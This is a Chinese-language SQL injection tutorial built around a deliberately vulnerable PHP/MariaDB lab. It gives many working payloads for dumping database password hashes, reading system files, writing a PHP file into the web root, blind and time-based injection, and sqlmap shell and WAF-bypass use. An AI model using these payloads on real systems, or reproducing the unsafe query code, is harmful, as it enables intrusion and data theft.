SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.

## 数字型注入

数字型注入是最常规的一种注入方式,通常存在于网页的链接地址中,例如index.php?id=这样的类型,通常存在可利用的地方,这里通过一个例子来学习数字型注入的一些注入技巧.

◆搭建演练环境◆

1.首先我这里使用的是Centos7,在该系统上通过Yum搭建LAMP的环境.

  1. [root@localhost ~]# yum install -y httpd httpd-devel \
  2. mariadb mariadb-server mysql-devel \
  3. php php-mysql php-common php-gd php-xml
  4. [root@localhost ~]# systemctl restart httpd
  5. [root@localhost ~]# systemctl restart mariadb
  6. [root@localhost ~]# systemctl enable httpd
  7. [root@localhost ~]# systemctl enable mariadb

2.进入MySQL并创建一个测试用的数据表,写入一些测试所使用的查询数据.

  1. [root@localhost ~]# mysql -uroot -p1233
  2. MariaDB [(none)]> create database lyshark;
  3. Query OK, 1 row affected (0.01 sec)
  4. MariaDB [(none)]> use lyshark;
  5. Database changed
  6. MariaDB [lyshark]> create table lyshark (
  7. -> id int(10) not null,
  8. -> title varchar(1000) not null,
  9. -> text varchar(2000) not null
  10. -> );
  11. Query OK, 0 rows affected (0.02 sec)
  12. MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));
  13. MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));
  14. insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
  15. insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
  16. insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');

3.在网站目录下新建一个index.php文件,并配置好权限,这里需要关闭SelinuxIptables防火墙.

  1. [root@localhost ~]# setenforce 0
  2. [root@localhost ~]# iptables -F
  3. [root@localhost ~]#
  4. [root@localhost ~]# vim /var/www/html/index.php
  5. <?php
  6. $id = $_GET['id'];
  7. $connection = mysql_connect("127.0.0.1","root","1233");
  8. mysql_select_db("lyshark",$connection);
  9. $myquery = "select * from lyshark where id=$id";
  10. $result = mysql_query($myquery);
  11. while($row = mysql_fetch_array($result)){
  12. echo "编号: ".$row['id']."<br >";
  13. echo "标题: ".$row['title']."<br >";
  14. echo "内容: ".$row['text']."<br >";
  15. echo "<hr>";
  16. }
  17. mysql_close($connection);
  18. echo "后台执行的SQL语句: ".$myquery."<hr>";
  19. #mysql_free_result($result);
  20. ?>
  21. [root@localhost ~]# chmod 755 -R /var/www/html/index.php
  22. [root@localhost ~]# chown apache.apache /var/www/html/index.php
  23. [root@localhost ~]# systemctl restart httpd

4.最后访问这个页面,并传入一个参数,即可查看返回结果.

  1. [root@localhost ~]# curl http://127.0.0.1/index.php?id=1
  2. [root@localhost ~]# curl http://127.0.0.1/index.php?id=2

◆判断注入点◆

提交单引号: 通过提交单引号并根据返回结果判断是否存在注入点,如果返回正常说明存在注入点.

  1. [root@localhost ~]# curl http://127.0.0.1/index.php?id=1'
  2. 执行的SQL语句: select * from lyshark where id=1'

提交AND判断: 也可以使用and语句来判断是否存在注入.

  1. [root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1
  2. 执行的SQL语句: select * from lyshark where id=1 and 1=1
  3. --------------------------------------------------------------
  4. [root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0
  5. 执行的SQL语句: select * from lyshark where id=1 and 1=0

以上注入可发现and 1=1返回了数据,而and 1=0则没有返回,这是由于and 1=1是一个为真的条件,所以返回了而and 1=0结果为假也就没有结果,这里也能看出我们的注入语句被数据库执行了.

提交OR判断: 同样的使用OR语句也是可以判断数据库权限的.

  1. [root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1
  2. 执行的SQL语句: select * from lyshark where id=1 and 1=1
  3. --------------------------------------------------------------
  4. [root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0
  5. 执行的SQL语句: select * from lyshark where id=1 and 1=0

提交加号: 我们在参数输入1+1,看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,最后也就是%2b.

  1. [root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1
  2. 执行的SQL语句: select * from lyshark where id=1+1

提交减号: 同样的道理,提交减号也可以实现判断注入点,这里不需要进行编码转化.

  1. [root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1
  2. 执行的SQL语句: select * from lyshark where id=2-1

◆常用判断语句◆

判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.

  1. index.php?id=1 and ord(mid(user(),1,1)) = 114

判断权限大小: 如果结果返回正常,说明具有读写权限,返回错误,应该是管理员给数据库帐户降权了.

  1. index.php?id=1 and(select count(*) from mysql.user) > 0

查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.

  1. index.php?id=1 union select host,user,password from mysql.user# // 5.6以前版本
  2. index.php?id=1 union select host,user,authentication_string from mysql.user# // 5.7以后版本

向主站写入后门: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.

  1. index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'
  2. index.php?id=1 union select null,null,"<?php phpinfo();?>" into outfile '/var/www/html/a.php'
  3. index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))

常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.

  1. index.php?id=1 union select 1,1,load_file("/etc/passwd") // 加载指定文件
  2. index.php?id=1 union select 1,1,@@datadir // 判断数据库目录
  3. index.php?id=1 union select 1,1,@@basedir // 判断安装根路径
  4. index.php?id=1 union select 1,1,@@hostname // 判断主机名
  5. index.php?id=1 union select 1,1,@@version // 判断数据库版本
  6. index.php?id=1 union select 1,1,@@version_compile_os // 判断系统类型(Linux)
  7. index.php?id=1 union select 1,1,@@version_compile_machine // 判断系统体系(x86)
  8. index.php?id=1 union select 1,1,user() // 曝出系统用户
  9. index.php?id=1 union select 1,1,database() // 曝出当前数据库

◆判断表字段数◆

Union 查询字段: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常,而在and后面加上1=1或1=2的作用后面会讲.

a.首先我们猜测,当前字段数为2的时候,页面会返回错误,也就说明表字段数必然是大于2的.

  1. index.php?id=1 and 1=1 union select 1,2
  2. 执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2

b.在上面的基础上,我们增加一个字段,查询1,2,3时页面显示正常,说明表结构是3个字段的.

  1. index.php?id=1 and 1=1 union select 1,2,3
  2. 执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3

c.为了验证数据库是否为3个字段,我们增加到4个字段,发现页面显示错误,则证明肯定是3个字段.

  1. index.php?id=1 and 1=1 union select 1,2,3,4
  2. 执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3,4

上面的结果,说明字段数就是3,输入的数大于或小于字段数时都会报错,而使用union select null,null,null替换1,2,3是相同的效果用数字也可以.

  1. index.php?id=1 and 1=1 union select null,null,null #
  2. 执行的SQL语句: select * from lyshark where id=1 and 1=1 union select null,null,null

Order By查询字段: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,但是数据库中并不存在第100列,从而报错.

a.首先我们猜测数据库有4个字段,尝试根据第四行进行排序发现数据无法显示,说明是小于4的.

  1. index.php?id=1 order by 4 #

b.上面查询没有显示任何结果,我们查询4个字段无返回值,说面该表小于4个字段,我们继续使用3测试,此时返回了结果.

  1. index.php?id=1 order by 3 #

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,而通过联合查询出的数据中,我们想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种:我们让第一个查询的结果始终为假,通过使用and 0来实现,下面的标号啥的就干净了.

  1. index.php?id=1 and 0 union select null,null,null
  2. 执行的SQL语句: select * from lyshark where id=1 and 0 union select null,null,null

第二种:通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

  1. index.php?id=1 union select null,null,null limit 1,1
  2. 执行的SQL语句: select * from lyshark where id=1 union select null,null,null limit 1,1

上面结果返回也是空,因为这使用的null,所以返回的还是null

◆查库与表名称◆

查当前数据库名称: 可以直接使用MySQL自带函数database()来查询得到当前使用的数据库.

  1. index.php?id=1 and 0 union select 1,1,database()

查全部数据库名称: 使用以下语句语句得到所有的数据库名,and 1=0功能是不显示第一行.

  1. index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata

查指定数据库名称: 用来查询第一个数据库的名称,但这个写法有个小问题,继续往下看.

  1. index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1

以上查询结果,并没有显示数据库名而显示的是第一条语句查询出来的结果,在union前面加上and 0就能显示出来了.

  1. index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1

以下查询方式,根据控制limit 0,1,2,3....,我们既可以获取到指定数量的数据库名称.

  1. index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1
  2. index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1
  3. index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1

查表名称(1): 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

  1. index.php?id=1 and 0 union select 1,1,group_concat(table_name)
  2. > from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称

查表名称(2): 同样,使用下面的语句也是可以查出数据库中的表,但该查询方式会分行显示查询的结果.

  1. index.php?id=1 and 0 union select 1,1,table_name
  2. > from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称

◆查字段与数据◆

查表中字段(1):

  1. index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
  2. > from information_schema.columns
  3. > where table_schema='lyshark' and table_name='lyshark'

查表中字段(2): 也可以查看mysql库user表中的字段,进行一个查询.

  1. index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
  2. > from information_schema.columns
  3. > where table_schema='mysql' and table_name='user'

查表中字段(3):

  1. index.php?id=2 union select null,null,column_name
  2. > from information_schema.columns
  3. > where table_schema='mysql' and table_name='user'

查表中数据: 查询表中数据,我们可以使用以下三种方式进行查询.

  1. index.php?id=1 union select Host,User,Password from mysql.user
  2. index.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lyshark
  3. index.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from mysql.user

## 字符型注入

字符串或串(String)是由数字、字母、下划线组成的一串字符,一般记为s="a1 a2···an "(n>=0),它是编程语言中表示文本的数据类型,字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来,接下来看一段SQL语句.

  1. $query="select first_name from users where id='$_GET['id']'";

上面的这句SQL语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2等,但是如果有人输入以下恶意语句则就会引发注入.

  1. 1' union select database() #;

这样的话这句SQL请求,在后台的执行结果就变成了以下的样子.

  1. select first_name from users where id='1'union select database()#'

如上,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的,以上只是一个简单的SQL注入的例子.从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞.

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示),字符型SQL注入的关键就是单引号的闭合,例如以下几个例子:

  1. select * from tables where idproduct=’ 13’;
  2. select * from tables where name=’ fendo’;
  3. select * from tables where data=’ 01/01/2017’;

◆搭建演练环境◆

1.首先我们在原来的基础上,新建一个文件/var/www/html/index.php.

  1. vim /var/www/html/index.php
  2. <?php
  3. $name=$_GET['username'];
  4. $conn=mysql_connect("127.0.0.1","root","1233");
  5. mysql_select_db('fendo',$conn);
  6. $sql="select * from user where username = '$name'";
  7. $result=mysql_query($sql);
  8. while($row = mysql_fetch_array($result)){
  9. echo "用户ID:".$row['id']."<br >";
  10. echo "用户名:".$row['username']."<br >";
  11. echo "用户密码:".$row['password']."<br >";
  12. echo "用户邮箱:".$row['email']."<br >";
  13. echo "<hr>";
  14. }
  15. mysql_close($conn);
  16. echo "<hr>";
  17. echo "后台执行的SQL语句: "."$sql <br >";
  18. ?>

2.进入数据库,创建几个表结构,并插入几条测试数据.

  1. [root@localhost ~]# mysql -uroot -p
  2. MariaDB [(none)]> create database fendo;
  3. MariaDB [(none)]> use fendo;
  4. MariaDB [fendo]> create table user(
  5. -> id int not null,
  6. -> username varchar(100) not null,
  7. -> password varchar(100) not null,
  8. -> email varchar(200) not null
  9. -> );
  10. Query OK, 0 rows affected (0.02 sec)
  11. insert into user(id,username,password,email) values(1,'admin','fendo','10010@qq.com');
  12. insert into user(id,username,password,email) values(2,'guest','goods','10020@qq.com');
  13. insert into user(id,username,password,email) values(3,'lyshark','nice','10030@qq.com');

3.重启apache服务,并访问页面测试效果.

  1. [root@localhost ~]# systemctl restart httpd
  2. [root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark

◆字符注入技巧◆

检测注入点: 字符型的检测方式与整数型差不多,但需要对数据进行SQL语句的手动闭合,如下所示.

  1. index.php?username=admin' and '1'='1
  2. index.php?username=admin' and '1'='0
  3. index.php?username=admin' and '1'=1--'
  4. index.php?username=admin' or '1'=1--'

猜字段长度: 接着我们通过使用union select语句,猜测数据库列的长度,字段长度.

  1. index.php?username=admin ' union select 1,1,1 and '1'='1 // 显示错误,说明字段大于3
  2. index.php?username=admin ' union select 1,1,1,1 and '1'='1 // 显示正确,该表存在4个字段
  3. index.php?username=admin ' union select 1,1,1,1' // 这样也可以完成语句的闭合
  4. index.php?username=admin ' union select null,null,null,null'

猜敏感信息: 接着替换上面语句中的1,1,1,1替换为MySQL执行函数,猜敏感信息.

  1. index.php?username=admin' union select database(),1,@@version,@@datadir'
  2. index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0

猜表是否存在: 猜指定表是否存在,语句执行结束并没报错,也就说明存在user这个表.

  1. index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' // 存在user这个表
  2. index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''=' // 不存在lyshark这个表

查全部表名称: 通过以下语句,查询fendo数据库中存在的所有表名称.

  1. index.php?username=admin' union select 1,1,1,group_concat(table_name)
  2. > from information_schema.tables where table_schema="fendo"'

查表中字段: 查询fendo数据库中,user表中的字段,并显示出来.

  1. index.php?username=admin' union select 1,1,1,group_concat(column_name)
  2. > from information_schema.columns where
  3. > table_schema="fendo" and table_name="user"'

查表中数据: 查询fendo数据库中,user表中指定字段的数据,并显示出来.

  1. index.php?username='admin' union select 1,group_concat(password),1,1 from user'
  2. index.php?username='admin' union select id,username,password,email from user'

上面的这些例子就是字符型注入的常用手法,其他的注入方式和整数型没有什么太大的区别,这里为了节约篇幅不在继续往下写了,你可以使用MySQL提供的基本函数自行测试.

基于报错的手工注入

猜版本: 返回正常,说明数据库版本是5,返回错误说明大于或小于5.

  1. index.php?id=1 and left(version(),1)=5# // 返回正常,说明数据库版本是5
  2. index.php?id=1 and left(version(),1)=4# // 返回错误,说明数据库版本不是5

猜库名: 通过盲注的形式,逐级猜测每一个数据库的单元,最后将其组合在一起即可.

  1. index.php?id=1 and (length(database())) >=4 // 猜库名称有多少个字符串
  2. index.php?id=1 and (left(database(),1)) >= 'd' # // 猜库名称最左边第1位为d
  3. index.php?id=1 and (left(database(),2)) >= 'dv' # // 猜库名称左边前2位位为dv
  4. index.php?id=1 and (left(database(),3)) >= 'dvw' # // 猜库名称左边前3位位为dvw
  5. index.php?id=1 and (left(database(),4)) >= 'dvwa'# // 猜库名称左边前4位位为dvwa
  6. index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 # // 第1位是d
  7. index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 # // 第2位是v
  8. index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 # // 第3位是w
  9. index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 # // 第4位是a
  10. mid ((a,b,c) // 从字符串a中截取b到c位置
  11. ord() // 将结果转化为ascii码与后面数值对比
  12. CAST(DATABASE() AS CHAR) // 如果取到了数据则返回

猜表名: 如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

  1. 公式: and (select count(*) from 表名) >=0
  2. index.php?id=1 and (select count(*) from mysql.user) >=0 // 存在mysql.user表
  3. index.php?id=1 and (select count(*) from lyshark) >=0 // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

  1. 公式: and (select count(字段名) from 猜到的表名)>=0
  2. index.php?id=1 and (select count(id) from users) >=0 // 返回正常说明存在id字段
  3. index.php?id=1 and (select count(name) from users) >=0 // 返回不正常不存在name字段
  4. index.php?id=1 and (select count(*) from lyshark) >=3 #-- // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

  1. index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度
  2. index.php?id=1' and (select user() like 'root%') # // 猜测用户名
  3. index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z
  4. index.php?id=1' and (select user() regexp '^r') # // 第一位是r
  5. index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
  6. index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

  1. index.php?id=1 and sleep(5) #
  2. index.php?id=1 and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒
  3. index.php?id=1 and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒
  4. index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒
  5. index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒

## SQLMap(拓展)

检测命令:

  1. sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷
  2. sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别
  3. sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限
  4. sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限
  5. sqlmap -u "./index.php?id=1" --all # 查询所有数据库
  6. sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名
  7. sqlmap -u "./index.php?id=1" --is-dba # 判断root权限
  8. sqlmap -u "./index.php?id=1" --users # 枚举数据库用户
  9. sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent
  10. sqlmap -u "./index.php?id=1" --fingerprint # 执行DBMS版本指纹检查
  11. sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录
  12. sqlmap -u "./index.php?id=1" --file-read="" # 读取文件
  13. sqlmap -u "./index.php?id=1" --file-write="" # 写入操作
  14. sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令
  15. sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令
  16. sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句
  17. sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
  18. sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本

脱库命令:

  1. sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF
  2. sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库
  3. sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名
  4. sqlmap -u "./index.php?id=1" --users # 查询所有用户名
  5. sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库
  6. sqlmap -u "./index.php?id=1" --tables # 列出所有的表
  7. sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表
  8. sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称
  9. sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地
  10. sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤子
  11. sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: level >=2使用cookie注入,level >=3使用User-agent/Referer注入.

  1. sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点
  2. sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名
  3. sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称
  4. sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
  5. sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入:

  1. 1.浏览器打开目标地址 http:// www.xxx.com /Login.asp
  2. 2.配置burp代理(127.0.0.1:8080)以拦截请求
  3. 3.点击login表单的submit按钮
  4. 4.这时候Burp会拦截到了我们的登录POST请求
  5. 5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit
  6. sqlmap -r post.txt -p id --dbs
  7. Sqlmap -r post.txt -p id -D mysql --tables
  8. Sqlmap -r post.txt -p id -D mysql -T user --columns
  9. sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
  10. sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

延时注入:

  1. Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1
  2. sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3

绕过WAF:

  1. sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-waf
  2. sqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-waf
  3. sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"
  4. sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"

手工检测SQL注入漏洞的更多相关文章

  1. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  2. (五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据

    目录结构 一.判断被测url的参数是否存在注入点 二.获取数据库系统的所有数据库名称(暴库) 三.获取Web应用当前所连接的数据库 四.获取Web应用当前所操作的DBMS用户 五.列出数据库中的所有用 ...

  3. 手工检测SQL注入(安全性测试)

    手动你的ASP站可否注入: http://127.0.0.1/xx?id=11 and 1=1 (正常页面) http://127.0.0.1/xx?id=11 and 1=2 (出错页面) 检测表段 ...

  4. 10年前,我就用 SQL注入漏洞黑了学校网站

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

  5. sql注入漏洞笔记随笔

    sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入) 在了解sql注入之前,我们需要先了解web框架 webapp:web网站,这种方式它采用的是B/S架构 ...

  6. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  7. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  8. Discuz 7.2 /faq.php SQL注入漏洞

    测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!   Discuz 7.2 /faq.php SQL注入漏洞   http://www.xxx.com/faq.php?a ...

  9. RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具

    无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...

随机推荐

  1. 如何监听Element组件<el-input>标签的回车事件

    一.现象 表单提交时需要处理输入框的回车事件,一般的原生input标签可以用@keyup.enter="onSubmit"(tips:onSubmit为定义的方法) 二.解决 1. ...

  2. python基础之Day24

    1.补充内置函数 2.反射 什么是? 通过字符串操作类或者对象的属性 hasattri(a,"b")  判断能否访问到a.b setattri(a,"b",c) ...

  3. C# ListView应用

    C#  ListView应用 1. 添加表头标题的方法 a. 直接在ListView控件上编写 b. 通过代码编写 //动态添加lstv_ReaderList列表头 /* lstv_ReaderLis ...

  4. 继承中的prototype与_proto_

    继承的核心是原型链,它的基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法. 例:SubType.prototype = new SuperType (); var instance = ...

  5. 《Linux就该这么学》第十天课程

    使用RAID与LVM磁盘阵列技术 有RAID 0,RAID 1,,RAID 5,RAID 1 0等,下面列举RAID的各个概况 1. RAID 0 RAID 0技术把多块物理硬盘设备(至少两块)通过硬 ...

  6. oracle存储过程 out cursor

    create or replace procedure BUILDEMPLID(emp_cursor out sys_refcursor) is n_emplid number; n_emplid1 ...

  7. go语言的条件语句和循环语句

    一,条件语句 常见的就是if语句: 单支条件语句:     if   条件 :执行语句   (注,如果是没有逻辑运算符连接的话,是可以不需要括号的,也可以加上括号,如:if (条件):执行语句) 双支 ...

  8. 2019.03.29 bzoj5463: [APIO2018] 铁人两项(圆方树+树形dp)

    传送门 题意简述:给你一张无向图,问你满足存在从a−>b−>ca->b->ca−>b−>c且不经过重复节点的路径的有序点对(a,b,c)(a,b,c)(a,b,c) ...

  9. nginx server

    配置nginx 首先apt install nginx 然后安装php apt-get install php7.0-fpm php7.0-mysql php7.0-common php7.0-mbs ...

  10. fiddler抓包工具总结

    Fiddler 抓包工具总结 Fiddler是一个蛮好用的抓包工具,可以将网络传输发送与接受的数据包进行截获.重发.编辑.转存等操作.也可以用来检测网络安全.反正好处多多,举之不尽呀!当年学习的时候也 ...